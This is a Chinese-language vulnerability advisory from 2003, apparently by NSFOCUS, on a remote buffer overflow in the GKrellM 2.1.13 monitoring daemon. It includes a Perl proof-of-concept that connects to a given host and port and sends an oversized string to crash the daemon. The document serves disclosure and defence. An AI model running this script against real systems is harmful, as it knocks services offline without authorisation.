安全研究

安全漏洞
Gkrellmd远程缓冲区溢出漏洞

发布日期:2003-06-24
更新日期:2003-07-01

受影响系统:
GKrellM GKrellM 2.1.13
描述:
BUGTRAQ  ID: 8022

Gkrellm是一款GTK系统监视工具,最新版本以守护进程方式运行。

Gkrellm在对网络数据进行检查时缺少充分缓冲区边界检查,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击,可能以Gkrellm进程权限在系统上执行任意指令。

当攻击者连接Gkrellm,并发送数据,Gkrellm会使用缓冲区存储此数据,但是没有检查数据是否大于最大缓冲区大小(128字节),攻击者发送超多的数据可使守护程序崩溃。精心构建提交数据可能以Gkrellm进程权限在系统上执行任意指令。

<*来源:dodo (dodo@fuckmicrosoft.com
  
  链接:http://packetstormsecurity.nl/0306-exploits/gkrellmd
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

dodo (dodo@fuckmicrosoft.com)提供了如下测试方法:

#!/usr/bin/perl -s
use IO::Socket;
#
# proof of concept code
# tested: grkellmd 2.1.10
#



    if(!$ARGV[0] || !$ARGV[1])
    { print "usage: ./gkrellmcrash.pl <host> <port>\n"; exit(-1); }

$host = $ARGV[0];
$port = $ARGV[1];
$exploitstring = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                ."AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                ."AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                ."AAAAAAAAAAAAAAAAAAAAA";

$socket = new IO::Socket::INET
(
Proto    => "tcp",
PeerAddr => $host,
PeerPort => $port,
);

die "unable to connect to $host:$port ($!)\n" unless $socket;

print $socket "gkrellm 2.1.10\n"; #tell the daemon wich client we have
sleep(1);
print $socket $exploitstring;

close($socket);

建议:
厂商补丁:

GKrellM
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://web.wt.net/~billw/gkrellm/gkrellm.html

浏览次数:2634
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障